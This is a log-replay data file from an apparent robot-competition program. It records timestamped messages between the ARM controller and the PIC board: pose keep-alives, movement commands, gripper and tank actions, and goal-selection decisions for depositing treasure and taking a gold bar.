l(['99.70','PIC','# \x00\x1b[3\x001m\x0019611,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.71','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['99.71','PIC','# \x00\x1b[3\x001m\x0019621,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.72','PIC','# \x00\x1b[3\x001m\x0019631,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.73','PIC','# \x00\x1b[3\x001m\x0019641,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.74','PIC','# \x00\x1b[3\x001m\x0019651,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.75','PIC','# \x00\x1b[3\x001m\x0019661,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.76','PIC','# \x00\x1b[3\x001m\x0019671,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.77','PIC','# \x00\x1b[3\x001m\x0019681,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.78','PIC','# \x00\x1b[3\x001m\x0019691,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.79','PIC','# \x00\x1b[3\x001m\x0019701,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.80','PIC','# \x00\x1b[3\x001m\x0019711,\x00Project\\rsDaisyChain.c,\x008,\x00UART Emission Error,\x00162,\x00TxDaisyChain_Send,\x00UART error : Timeout emission error'])
l(['99.82','PIC',FabricStoreControl(move = 1)])
l(['99.82','ARM','# Poping sub-state StoreFabric'])
l(['99.82','ARM','# Poping sub-state TrajectoryWalk'])
l(['99.82','ARM','# Goal done : MAP'])
l(['99.82','ARM','# Poping sub-state GrabMap'])
l(['99.82','ARM','# Switching to state FindNextGoal'])
l(['99.83','ARM','# Calling GoalManager'])
l(['99.83','ARM','# Evaluate goal DEPOSIT_CAPTAIN'])
l(['99.83','ARM','# Evaluate goal DEPOSIT_2'])
l(['99.83','ARM','# Evaluate goal DEPOSIT_3'])
l(['99.83','ARM','# Evaluate goal DEPOSIT_4'])
l(['99.83','ARM','# Goal DEPOSIT_CAPTAIN nav cost = 20.2426395416'])
l(['99.83','ARM','# Goal DEPOSIT_3 nav cost = 26.7279205322'])
l(['99.83','ARM','# Goal DEPOSIT_2 nav cost = 27.9705600739'])
l(['99.83','ARM','# Goal DEPOSIT_4 nav cost = 29.3847732544'])
l(['99.83','ARM','# Goals by score : [\'DEPOSIT_CAPTAIN:0.0\', \'DEPOSIT_2:5.0\', \'DEPOSIT_3:4.0\', \'DEPOSIT_4:9.0\']'])
l(['99.83','ARM','# Best goal is DEPOSIT_CAPTAIN with score 0.0'])
l(['99.83','ARM','# Next goal is DEPOSIT_CAPTAIN'])
l(['99.83','ARM','# Time taken for decision taking 5.799 ms'])
l(['99.83','ARM','# Pushing sub-state Navigate'])
l(['99.83','ARM','# Compute route from (0.432990759611, 1.63299775124) to (0.3, 2.4)'])
l(['100.00','ARM','# Route computed. Length: 0.778446524657, Cost: 0.778446524657'])
l(['100.00','ARM','# Pushing sub-state Sequence'])
l(['100.00','ARM','# Pushing sub-state Antiblocking'])
l(['100.00','ARM',EnableAntiBlocking()])
l(['100.01','PIC',KeepAlive(current_pose = Pose(0.432943582535, 1.6329972744, 0.00764722190797), match_started = True, match_time = 19790)])
l(['100.01','ARM',KeepAlive(current_pose = Pose(0.432943582535, 1.6329972744, 0.00764722190797), match_started = True, match_time = 19790)])
l(['100.01','PIC',EnableAntiBlocking()])
l(['100.01','ARM','# Poping sub-state Antiblocking'])
l(['100.01','ARM','# Pushing sub-state TrajectoryWalk'])
l(['100.01','ARM',Goto(movement = 0, direction = 1, angle = 1.74241989345, points = [])])
l(['100.02','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['100.02','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['100.03','PIC',GotoStarted()])
l(['100.07','PIC',TurretDetect(distance = 1, angle = 2, robot = 0)])
l(['100.13','PIC',KeepAlive(current_pose = Pose(0.432937383652, 1.63299667835, 0.0164704173803), match_started = True, match_time = 20040)])
l(['100.38','PIC',KeepAlive(current_pose = Pose(0.43285664916, 1.63307344913, 0.250819832087), match_started = True, match_time = 20290)])
l(['100.38','ARM',KeepAlive(current_pose = Pose(0.43285664916, 1.63307344913, 0.250819832087), match_started = True, match_time = 20290)])
l(['100.63','PIC',KeepAlive(current_pose = Pose(0.435364365578, 1.63475561142, 0.913522005081), match_started = True, match_time = 20540)])
l(['100.63','ARM',KeepAlive(current_pose = Pose(0.435364365578, 1.63475561142, 0.913522005081), match_started = True, match_time = 20540)])
l(['100.64','PIC',TurretDetect(distance = 1, angle = 5, robot = 0)])
l(['100.88','PIC',KeepAlive(current_pose = Pose(0.435967057943, 1.63625383377, 1.45609509945), match_started = True, match_time = 20790)])
l(['100.88','ARM',KeepAlive(current_pose = Pose(0.435967057943, 1.63625383377, 1.45609509945), match_started = True, match_time = 20790)])
l(['100.99','PIC',TurretDetect(distance = 1, angle = 6, robot = 0)])
l(['101.13','PIC',KeepAlive(current_pose = Pose(0.435961723328, 1.63765704632, 1.74902510643), match_started = True, match_time = 21040)])
l(['101.13','ARM',KeepAlive(current_pose = Pose(0.435961723328, 1.63765704632, 1.74902510643), match_started = True, match_time = 21040)])
l(['101.14','PIC',GotoFinished(reason = 0, current_pose = Pose(0.435968399048, 1.63761997223, 1.75597667694), current_point_index = 1)])
l(['101.14','ARM',Goto(movement = 2, direction = 1, angle = None, points = [Pose(0.3, 2.4, None)])])
l(['101.17','PIC',GotoStarted()])
l(['101.38','PIC',KeepAlive(current_pose = Pose(0.433756411076, 1.64887738228, 1.75779461861), match_started = True, match_time = 21290)])
l(['101.38','ARM',KeepAlive(current_pose = Pose(0.433756411076, 1.64887738228, 1.75779461861), match_started = True, match_time = 21290)])
l(['101.63','PIC',KeepAlive(current_pose = Pose(0.420530259609, 1.72116219997, 1.74990713596), match_started = True, match_time = 21540)])
l(['101.63','ARM',KeepAlive(current_pose = Pose(0.420530259609, 1.72116219997, 1.74990713596), match_started = True, match_time = 21540)])
l(['101.88','PIC',KeepAlive(current_pose = Pose(0.400215178728, 1.83230817318, 1.75362336636), match_started = True, match_time = 21790)])
l(['101.88','ARM',KeepAlive(current_pose = Pose(0.400215178728, 1.83230817318, 1.75362336636), match_started = True, match_time = 21790)])
l(['102.13','PIC',KeepAlive(current_pose = Pose(0.379074662924, 1.95017778873, 1.7441586256), match_started = True, match_time = 22040)])
l(['102.13','ARM',KeepAlive(current_pose = Pose(0.379074662924, 1.95017778873, 1.7441586256), match_started = True, match_time = 22040)])
l(['102.38','PIC',KeepAlive(current_pose = Pose(0.357151061296, 2.07186841965, 1.74899816513), match_started = True, match_time = 22290)])
l(['102.38','ARM',KeepAlive(current_pose = Pose(0.357151061296, 2.07186841965, 1.74899816513), match_started = True, match_time = 22290)])
l(['102.63','PIC',KeepAlive(current_pose = Pose(0.335551083088, 2.19379520416, 1.74859714508), match_started = True, match_time = 22540)])
l(['102.63','ARM',KeepAlive(current_pose = Pose(0.335551083088, 2.19379520416, 1.74859714508), match_started = True, match_time = 22540)])
l(['102.88','PIC',KeepAlive(current_pose = Pose(0.315089523792, 2.30837845802, 1.74330329895), match_started = True, match_time = 22790)])
l(['102.88','ARM',KeepAlive(current_pose = Pose(0.315089523792, 2.30837845802, 1.74330329895), match_started = True, match_time = 22790)])
l(['103.13','PIC',KeepAlive(current_pose = Pose(0.304770976305, 2.36842012405, 1.74287545681), match_started = True, match_time = 23040)])
l(['103.13','ARM',KeepAlive(current_pose = Pose(0.304770976305, 2.36842012405, 1.74287545681), match_started = True, match_time = 23040)])
l(['103.35','PIC',GotoFinished(reason = 0, current_pose = Pose(0.299743592739, 2.39760303497, 1.73784923553), current_point_index = 1)])
l(['103.35','ARM','# Poping sub-state TrajectoryWalk'])
l(['103.35','ARM','# Pushing sub-state Antiblocking'])
l(['103.35','ARM',DisableAntiBlocking()])
l(['103.35','PIC',DisableAntiBlocking()])
l(['103.36','ARM','# Poping sub-state Antiblocking'])
l(['103.36','ARM','# Poping sub-state Sequence'])
l(['103.36','ARM','# Poping sub-state Navigate'])
l(['103.36','ARM','# Pushing sub-state DepositTreasure'])
l(['103.36','ARM','# Pushing sub-state TrajectoryWalk'])
l(['103.36','ARM',Goto(movement = 0, direction = 1, angle = 1.57079632679, points = [])])
l(['103.39','PIC',GotoStarted()])
l(['103.42','PIC',KeepAlive(current_pose = Pose(0.29939237237, 2.39969110489, 1.73656594753), match_started = True, match_time = 23296)])
l(['103.42','ARM',KeepAlive(current_pose = Pose(0.29939237237, 2.39969110489, 1.73656594753), match_started = True, match_time = 23296)])
l(['103.63','PIC',KeepAlive(current_pose = Pose(0.299347817898, 2.39983057976, 1.65747773647), match_started = True, match_time = 23540)])
l(['103.63','ARM',KeepAlive(current_pose = Pose(0.299347817898, 2.39983057976, 1.65747773647), match_started = True, match_time = 23540)])
l(['103.80','PIC',GotoFinished(reason = 0, current_pose = Pose(0.29935324192, 2.39967989922, 1.5859297514), current_point_index = 1)])
l(['103.80','ARM','# Pushing sub-state Gripper'])
l(['103.80','ARM',GripperControl(move = 1, which = 3)])
l(['103.88','PIC',KeepAlive(current_pose = Pose(0.29935336113, 2.39960765839, 1.57403171062), match_started = True, match_time = 23790)])
l(['103.88','ARM',KeepAlive(current_pose = Pose(0.29935336113, 2.39960765839, 1.57403171062), match_started = True, match_time = 23790)])
l(['104.13','PIC',KeepAlive(current_pose = Pose(0.299353003502, 2.39968013763, 1.5798869133), match_started = True, match_time = 24040)])
l(['104.13','ARM',KeepAlive(current_pose = Pose(0.299353003502, 2.39968013763, 1.5798869133), match_started = True, match_time = 24040)])
l(['104.33','PIC',GripperControl(move = 1, which = 3)])
l(['104.33','ARM','# Poping sub-state Gripper'])
l(['104.33','ARM','# Pushing sub-state EmptyTank'])
l(['104.33','ARM',EmptyTankControl(move = 1)])
l(['104.38','PIC',KeepAlive(current_pose = Pose(0.299353927374, 2.39957952499, 1.58010089397), match_started = True, match_time = 24290)])
l(['104.38','ARM',KeepAlive(current_pose = Pose(0.299353927374, 2.39957952499, 1.58010089397), match_started = True, match_time = 24290)])
l(['104.55','PIC',EmptyTankControl(move = 1)])
l(['104.55','ARM','# Poping sub-state EmptyTank'])
l(['104.55','ARM','# Pushing sub-state EmptyTank'])
l(['104.55','ARM',EmptyTankControl(move = 0)])
l(['104.63','PIC',KeepAlive(current_pose = Pose(0.299352824688, 2.3996925354, 1.58111679554), match_started = True, match_time = 24540)])
l(['104.63','ARM',KeepAlive(current_pose = Pose(0.299352824688, 2.3996925354, 1.58111679554), match_started = True, match_time = 24540)])
l(['104.71','PIC',EmptyTankControl(move = 0)])
l(['104.71','ARM','# Poping sub-state EmptyTank'])
l(['104.71','ARM','# Pushing sub-state EmptyTank'])
l(['104.71','ARM',EmptyTankControl(move = 1)])
l(['104.88','PIC',KeepAlive(current_pose = Pose(0.299354970455, 2.39947891235, 1.58218634129), match_started = True, match_time = 24790)])
l(['104.88','ARM',KeepAlive(current_pose = Pose(0.299354970455, 2.39947891235, 1.58218634129), match_started = True, match_time = 24790)])
l(['104.93','PIC',EmptyTankControl(move = 1)])
l(['104.93','ARM','# Poping sub-state EmptyTank'])
l(['104.93','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(0.301063435688, 2.24948864218, None)])])
l(['104.98','PIC',GotoStarted()])
l(['105.13','PIC',KeepAlive(current_pose = Pose(0.299422025681, 2.39376163483, 1.58245372772), match_started = True, match_time = 25040)])
l(['105.13','ARM',KeepAlive(current_pose = Pose(0.299422025681, 2.39376163483, 1.58245372772), match_started = True, match_time = 25040)])
l(['105.38','PIC',KeepAlive(current_pose = Pose(0.299651741982, 2.34839224815, 1.57256114483), match_started = True, match_time = 25290)])
l(['105.38','ARM',KeepAlive(current_pose = Pose(0.299651741982, 2.34839224815, 1.57256114483), match_started = True, match_time = 25290)])
l(['105.63','PIC',KeepAlive(current_pose = Pose(0.299949705601, 2.29254817963, 1.57983374596), match_started = True, match_time = 25540)])
l(['105.63','ARM',KeepAlive(current_pose = Pose(0.299949705601, 2.29254817963, 1.57983374596), match_started = True, match_time = 25540)])
l(['105.88','PIC',KeepAlive(current_pose = Pose(0.300282776356, 2.25753092766, 1.58178544044), match_started = True, match_time = 25790)])
l(['105.88','ARM',KeepAlive(current_pose = Pose(0.300282776356, 2.25753092766, 1.58178544044), match_started = True, match_time = 25790)])
l(['105.94','PIC',GotoFinished(reason = 0, current_pose = Pose(0.300342351198, 2.25228500366, 1.58301544189), current_point_index = 1)])
l(['105.94','ARM','# Pushing sub-state EmptyTank'])
l(['105.94','ARM',EmptyTankControl(move = 0)])
l(['106.09','PIC',EmptyTankControl(move = 0)])
l(['106.09','ARM','# Poping sub-state EmptyTank'])
l(['106.09','ARM','# Pushing sub-state Gripper'])
l(['106.09','ARM',GripperControl(move = 0, which = 3)])
l(['106.13','PIC',KeepAlive(current_pose = Pose(0.300364464521, 2.25051021576, 1.57929885387), match_started = True, match_time = 26040)])
l(['106.13','ARM',KeepAlive(current_pose = Pose(0.300364464521, 2.25051021576, 1.57929885387), match_started = True, match_time = 26040)])
l(['106.38','PIC',KeepAlive(current_pose = Pose(0.300363630056, 2.25060796738, 1.57969975471), match_started = True, match_time = 26290)])
l(['106.38','ARM',KeepAlive(current_pose = Pose(0.300363630056, 2.25060796738, 1.57969975471), match_started = True, match_time = 26290)])
l(['106.63','PIC',KeepAlive(current_pose = Pose(0.300363689661, 2.25060176849, 1.57986032963), match_started = True, match_time = 26540)])
l(['106.63','ARM',KeepAlive(current_pose = Pose(0.300363689661, 2.25060176849, 1.57986032963), match_started = True, match_time = 26540)])
l(['106.86','PIC',GripperControl(move = 0, which = 3)])
l(['106.86','ARM','# Poping sub-state Gripper'])
l(['106.86','ARM','# Poping sub-state TrajectoryWalk'])
l(['106.86','ARM',EmptyTankControl(move = 0)])
l(['106.86','ARM','# Goal done : DEPOSIT_CAPTAIN'])
l(['106.86','ARM','# Poping sub-state DepositTreasure'])
l(['106.86','ARM','# Switching to state FindNextGoal'])
l(['106.87','ARM','# Calling GoalManager'])
l(['106.87','ARM','# Evaluate goal SELF_SOUTH'])
l(['106.87','ARM','# Evaluate goal SELF_SOUTH'])
l(['106.87','ARM','# Evaluate goal OTHER_NORTH'])
l(['106.87','ARM','# Evaluate goal OTHER_NORTH'])
l(['106.87','ARM','# Evaluate goal OTHER_SOUTH'])
l(['106.88','ARM','# Evaluate goal OTHER_SOUTH'])
l(['106.88','ARM','# Goal OTHER_NORTH nav cost = 25.8994941711'])
l(['106.88','ARM','# Goal SELF_SOUTH nav cost = 29.2426395416'])
l(['106.88','ARM','# Goal OTHER_NORTH nav cost = 37.8994941711'])
l(['106.89','ARM','# Goal SELF_SOUTH nav cost = 44.7279205322'])
l(['106.89','ARM','# Goal OTHER_SOUTH nav cost = 52.7279205322'])
l(['106.89','ARM','# Goal OTHER_SOUTH nav cost = 62.242641449'])
l(['106.89','ARM','# Goals by score : [\'SELF_SOUTH:2.0\', \'SELF_SOUTH:7.0\', \'OTHER_NORTH:2.0\', \'OTHER_NORTH:7.0\', \'OTHER_SOUTH:12.0\', \'OTHER_SOUTH:15.0\']'])
l(['106.89','ARM','# Best goal is SELF_SOUTH with score 2.0'])
l(['106.89','ARM','# Next goal is SELF_SOUTH'])
l(['106.89','ARM','# Time taken for decision taking 22.197 ms'])
l(['106.89','ARM','# Pushing sub-state Navigate'])
l(['106.89','ARM','# Compute route from (0.300363689661, 2.25060176849) to (1.414, 2.14)'])
l(['107.06','ARM','# Route computed. Length: 1.18389717389, Cost: 1.18389717389'])
l(['107.06','ARM','# Pushing sub-state Sequence'])
l(['107.06','ARM','# Pushing sub-state Antiblocking'])
l(['107.06','ARM',EnableAntiBlocking()])
l(['107.06','PIC',EmptyTankControl(move = 0)])
l(['107.07','PIC',KeepAlive(current_pose = Pose(0.300363838673, 2.25058603287, 1.5797264576), match_started = True, match_time = 26790)])
l(['107.07','ARM',KeepAlive(current_pose = Pose(0.300363838673, 2.25058603287, 1.5797264576), match_started = True, match_time = 26790)])
l(['107.07','PIC',EnableAntiBlocking()])
l(['107.07','ARM','# Poping sub-state Antiblocking'])
l(['107.07','ARM','# Pushing sub-state TrajectoryWalk'])
l(['107.07','ARM',Goto(movement = 0, direction = 1, angle = -3.13740737954, points = [])])
l(['107.10','PIC',GotoStarted()])
l(['107.14','PIC',KeepAlive(current_pose = Pose(0.300364226103, 2.25055408478, 1.57967305183), match_started = True, match_time = 27040)])
l(['107.38','PIC',KeepAlive(current_pose = Pose(0.300345540047, 2.25090551376, 1.71137940884), match_started = True, match_time = 27290)])
l(['107.38','ARM',KeepAlive(current_pose = Pose(0.300345540047, 2.25090551376, 1.71137940884), match_started = True, match_time = 27290)])
l(['107.63','PIC',KeepAlive(current_pose = Pose(0.299775511026, 2.25243091583, 2.17673587799), match_started = True, match_time = 27540)])
l(['107.63','ARM',KeepAlive(current_pose = Pose(0.299775511026, 2.25243091583, 2.17673587799), match_started = True, match_time = 27540)])
l(['107.88','PIC',KeepAlive(current_pose = Pose(0.297913044691, 2.25409150124, 2.73024392128), match_started = True, match_time = 27790)])
l(['107.88','ARM',KeepAlive(current_pose = Pose(0.297913044691, 2.25409150124, 2.73024392128), match_started = True, match_time = 27790)])
l(['108.13','PIC',KeepAlive(current_pose = Pose(0.297485917807, 2.25418519974, 3.10135293007), match_started = True, match_time = 28040)])
l(['108.13','ARM',KeepAlive(current_pose = Pose(0.297485917807, 2.25418519974, 3.10135293007), match_started = True, match_time = 28040)])
l(['108.20','PIC',GotoFinished(reason = 0, current_pose = Pose(0.297865986824, 2.25418043137, -3.12063121796), current_point_index = 1)])
l(['108.20','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(1.355, 2.255, None)])])
l(['108.23','PIC',GotoStarted()])
l(['108.38','PIC',KeepAlive(current_pose = Pose(0.303977042437, 2.25435400009, -3.11849236488), match_started = True, match_time = 28290)])
l(['108.38','ARM',KeepAlive(current_pose = Pose(0.303977042437, 2.25435400009, -3.11849236488), match_started = True, match_time = 28290)])
l(['108.63','PIC',KeepAlive(current_pose = Pose(0.36393737793, 2.25444030762, 3.13140535355), match_started = True, match_time = 28540)])
l(['108.63','ARM',KeepAlive(current_pose = Pose(0.36393737793, 2.25444030762, 3.13140535355), match_started = True, match_time = 28540)])
l(['108.88','PIC',KeepAlive(current_pose = Pose(0.473269850016, 2.25410628319, 3.13905215263), match_started = True, match_time = 28790)])
l(['108.88','ARM',KeepAlive(current_pose = Pose(0.473269850016, 2.25410628319, 3.13905215263), match_started = True, match_time = 28790)])
l(['109.13','PIC',KeepAlive(current_pose = Pose(0.592785000801, 2.25391840935, -3.14084410667), match_started = True, match_time = 29040)])
l(['109.13','ARM',KeepAlive(current_pose = Pose(0.592785000801, 2.25391840935, -3.14084410667), match_started = True, match_time = 29040)])
l(['109.38','PIC',KeepAlive(current_pose = Pose(0.714590013027, 2.25364661217, -3.13945412636), match_started = True, match_time = 29290)])
l(['109.38','ARM',KeepAlive(current_pose = Pose(0.714590013027, 2.25364661217, -3.13945412636), match_started = True, match_time = 29290)])
l(['109.63','PIC',KeepAlive(current_pose = Pose(0.838601112366, 2.25368762016, 3.1402015686), match_started = True, match_time = 29540)])
l(['109.63','ARM',KeepAlive(current_pose = Pose(0.838601112366, 2.25368762016, 3.1402015686), match_started = True, match_time = 29540)])
l(['109.88','PIC',KeepAlive(current_pose = Pose(0.960882902145, 2.25416064262, -3.14154005051), match_started = True, match_time = 29790)])
l(['109.88','ARM',KeepAlive(current_pose = Pose(0.960882902145, 2.25416064262, -3.14154005051), match_started = True, match_time = 29790)])
l(['110.13','PIC',KeepAlive(current_pose = Pose(1.08607518673, 2.25341916084, -3.13691520691), match_started = True, match_time = 30040)])
l(['110.13','ARM',KeepAlive(current_pose = Pose(1.08607518673, 2.25341916084, -3.13691520691), match_started = True, match_time = 30040)])
l(['110.38','PIC',KeepAlive(current_pose = Pose(1.21107459068, 2.25386071205, 3.13683223724), match_started = True, match_time = 30290)])
l(['110.38','ARM',KeepAlive(current_pose = Pose(1.21107459068, 2.25386071205, 3.13683223724), match_started = True, match_time = 30290)])
l(['110.63','PIC',KeepAlive(current_pose = Pose(1.29620432854, 2.25404191017, -3.13148736954), match_started = True, match_time = 30540)])
l(['110.63','ARM',KeepAlive(current_pose = Pose(1.29620432854, 2.25404191017, -3.13148736954), match_started = True, match_time = 30540)])
l(['110.88','PIC',KeepAlive(current_pose = Pose(1.34365177155, 2.2545800209, -3.13047122955), match_started = True, match_time = 30790)])
l(['110.88','ARM',KeepAlive(current_pose = Pose(1.34365177155, 2.2545800209, -3.13047122955), match_started = True, match_time = 30790)])
l(['110.95','PIC',GotoFinished(reason = 0, current_pose = Pose(1.35213041306, 2.25467419624, -3.13049793243), current_point_index = 1)])
l(['110.95','ARM',Goto(movement = 0, direction = 1, angle = 2.06556169699, points = [])])
l(['110.98','PIC',GotoStarted()])
l(['111.13','PIC',KeepAlive(current_pose = Pose(1.3543138504, 2.25469899178, 3.13800859451), match_started = True, match_time = 31040)])
l(['111.13','ARM',KeepAlive(current_pose = Pose(1.3543138504, 2.25469899178, 3.13800859451), match_started = True, match_time = 31040)])
l(['111.38','PIC',KeepAlive(current_pose = Pose(1.35502851009, 2.25455498695, 2.90387296677), match_started = True, match_time = 31290)])
l(['111.38','ARM',KeepAlive(current_pose = Pose(1.35502851009, 2.25455498695, 2.90387296677), match_started = True, match_time = 31290)])
l(['111.63','PIC',KeepAlive(current_pose = Pose(1.35604000092, 2.25403237343, 2.45036101341), match_started = True, match_time = 31540)])
l(['111.63','ARM',KeepAlive(current_pose = Pose(1.35604000092, 2.25403237343, 2.45036101341), match_started = True, match_time = 31540)])
l(['111.88','PIC',KeepAlive(current_pose = Pose(1.35645925999, 2.25358891487, 2.16980981827), match_started = True, match_time = 31790)])
l(['111.88','ARM',KeepAlive(current_pose = Pose(1.35645925999, 2.25358891487, 2.16980981827), match_started = True, match_time = 31790)])
l(['111.96','PIC',GotoFinished(reason = 0, current_pose = Pose(1.35657954216, 2.25340509415, 2.11152362823), current_point_index = 1)])
l(['111.97','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(1.414, 2.14, None)])])
l(['112.01','PIC',GotoStarted()])
l(['112.13','PIC',KeepAlive(current_pose = Pose(1.35737812519, 2.25201582909, 2.0935561657), match_started = True, match_time = 32040)])
l(['112.13','ARM',KeepAlive(current_pose = Pose(1.35737812519, 2.25201582909, 2.0935561657), match_started = True, match_time = 32040)])
l(['112.38','PIC',KeepAlive(current_pose = Pose(1.37410759926, 2.22080779076, 2.03363847733), match_started = True, match_time = 32290)])
l(['112.38','ARM',KeepAlive(current_pose = Pose(1.37410759926, 2.22080779076, 2.03363847733), match_started = True, match_time = 32290)])
l(['112.63','PIC',KeepAlive(current_pose = Pose(1.39658856392, 2.17483639717, 2.0256986618), match_started = True, match_time = 32540)])
l(['112.63','ARM',KeepAlive(current_pose = Pose(1.39658856392, 2.17483639717, 2.0256986618), match_started = True, match_time = 32540)])
l(['112.88','PIC',KeepAlive(current_pose = Pose(1.41071271896, 2.14599609375, 2.02575278282), match_started = True, match_time = 32790)])
l(['112.88','ARM',KeepAlive(current_pose = Pose(1.41071271896, 2.14599609375, 2.02575278282), match_started = True, match_time = 32790)])
l(['112.93','PIC',GotoFinished(reason = 0, current_pose = Pose(1.41252028942, 2.14230251312, 2.02604699135), current_point_index = 1)])
l(['112.93','ARM','# Poping sub-state TrajectoryWalk'])
l(['112.93','ARM','# Pushing sub-state Antiblocking'])
l(['112.93','ARM',DisableAntiBlocking()])
l(['112.93','PIC',DisableAntiBlocking()])
l(['112.93','ARM','# Poping sub-state Antiblocking'])
l(['112.93','ARM','# Poping sub-state Sequence'])
l(['112.93','ARM','# Poping sub-state Navigate'])
l(['112.93','ARM','# Pushing sub-state TakeGoldBar'])
l(['112.94','ARM','# Pushing sub-state TrajectoryWalk'])
l(['112.94','ARM',Goto(movement = 0, direction = 1, angle = 1.57690312348, points = [])])
l(['112.96','PIC',GotoStarted()])
l(['113.13','PIC',KeepAlive(current_pose = Pose(1.41328942776, 2.14074778557, 1.99016571045), match_started = True, match_time = 33040)])
l(['113.13','ARM',KeepAlive(current_pose = Pose(1.41328942776, 2.14074778557, 1.99016571045), match_started = True, match_time = 33040)])
l(['113.38','PIC',KeepAlive(current_pose = Pose(1.4132860899, 2.14072227478, 1.86142766476), match_started = True, match_time = 33290)])
l(['113.38','ARM',KeepAlive(current_pose = Pose(1.4132860899, 2.14072227478, 1.86142766476), match_started = True, match_time = 33290)])
l(['113.63','PIC',KeepAlive(current_pose = Pose(1.41344642639, 2.1400988102, 1.70509660244), match_started = True, match_time = 33540)])
l(['113.63','ARM',KeepAlive(current_pose = Pose(1.41344642639, 2.1400988102, 1.70509660244), match_started = True, match_time = 33540)])
l(['113.81','PIC',GotoFinished(reason = 0, current_pose = Pose(1.41348326206, 2.13973975182, 1.60170471668), current_point_index = 1)])
l(['113.81','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(1.414, 1.9, None)])])
l(['113.84','PIC',GotoStarted()])
l(['113.88','PIC',KeepAlive(current_pose = Pose(1.41349041462, 2.13926887512, 1.58609044552), match_started = True, match_time = 33790)])
l(['113.88','ARM',KeepAlive(current_pose = Pose(1.41349041462, 2.13926887512, 1.58609044552), match_started = True, match_time = 33790)])
l(['114.13','PIC',KeepAlive(current_pose = Pose(1.41368997097, 2.11326742172, 1.56782948971), match_started = True, match_time = 34040)])
l(['114.13','ARM',KeepAlive(current_pose = Pose(1.41368997097, 2.11326742172, 1.56782948971), match_started = True, match_time = 34040)])
l(['114.38','PIC',KeepAlive(current_pose = Pose(1.41320586205, 2.03780460358, 1.57085049152), match_started = True, match_time = 34290)])
l(['114.38','ARM',KeepAlive(current_pose = Pose(1.41320586205, 2.03780460358, 1.57085049152), match_started = True, match_time = 34290)])
l(['114.63','PIC',KeepAlive(current_pose = Pose(1.41333472729, 1.95970511436, 1.56972742081), match_started = True, match_time = 34540)])
l(['114.63','ARM',KeepAlive(current_pose = Pose(1.41333472729, 1.95970511436, 1.56972742081), match_started = True, match_time = 34540)])
l(['114.88','PIC',KeepAlive(current_pose = Pose(1.41323423386, 1.91708338261, 1.56809616089), match_started = True, match_time = 34790)])
l(['114.88','ARM',KeepAlive(current_pose = Pose(1.41323423386, 1.91708338261, 1.56809616089), match_started = True, match_time = 34790)])
l(['115.01','PIC',GotoFinished(reason = 0, current_pose = Pose(1.41321647167, 1.90282690525, 1.57055592537), current_point_index = 1)])
l(['115.01','ARM','# Pushing sub-state Antiblocking'])
l(['115.01','ARM',EnableAntiBlocking()])
l(['115.01','PIC',EnableAntiBlocking()])
l(['115.01','ARM','# Poping sub-state Antiblocking'])
l(['115.02','ARM',Goto(movement = 0, direction = 1, angle = 3.14159265359, points = [])])
l(['115.05','PIC',GotoStarted()])
l(['115.13','PIC',KeepAlive(current_pose = Pose(1.41321659088, 1.90009999275, 1.58114373684), match_started = True, match_time = 35040)])
l(['115.13','ARM',KeepAlive(current_pose = Pose(1.41321659088, 1.90009999275, 1.58114373684), match_started = True, match_time = 35040)])
l(['115.38','PIC',KeepAlive(current_pose = Pose(1.41303610802, 1.9026209116, 1.82386207581), match_started = True, match_time = 35290)])
l(['115.38','ARM',KeepAlive(current_pose = Pose(1.41303610802, 1.9026209116, 1.82386207581), match_started = True, match_time = 35290)])
l(['115.63','PIC',KeepAlive(current_pose = Pose(1.41185748577, 1.90495312214, 2.3451256752), match_started = True, match_time = 35540)])
l(['115.63','ARM',KeepAlive(current_pose = Pose(1.41185748577, 1.90495312214, 2.3451256752), match_started = True, match_time = 35540)])
l(['115.88','PIC',KeepAlive(current_pose = Pose(1.41094434261, 1.90558278561, 2.85211157799), match_started = True, match_time = 35790)])
l(['115.88','ARM',KeepAlive(current_pose = Pose(1.41094434261, 1.90558278561, 2.85211157799), match_started = True, match_time = 35790)])
l(['116.13','PIC',KeepAlive(current_pose = Pose(1.41135632992, 1.90553474426, 3.14054965973), match_started = True, match_time = 36040)])
l(['116.13','ARM',KeepAlive(current_pose = Pose(1.41135632992, 1.90553474426, 3.14054965973), match_started = True, match_time = 36040)])
l(['116.15','PIC',GotoFinished(reason = 0, current_pose = Pose(1.41144120693, 1.90553510189, -3.12902641296), current_point_index = 1)])
l(['116.15','ARM','# Pushing sub-state Antiblocking'])
l(['116.15','ARM',DisableAntiBlocking()])
l(['116.15','PIC',DisableAntiBlocking()])
l(['116.15','ARM','# Poping sub-state Antiblocking'])
l(['116.15','ARM','# Poping sub-state TrajectoryWalk'])
l(['116.15','ARM','# Pushing sub-state DetectAndTakeGoldbar'])
l(['116.16','ARM','# Pushing sub-state GetGoldBarStatus'])
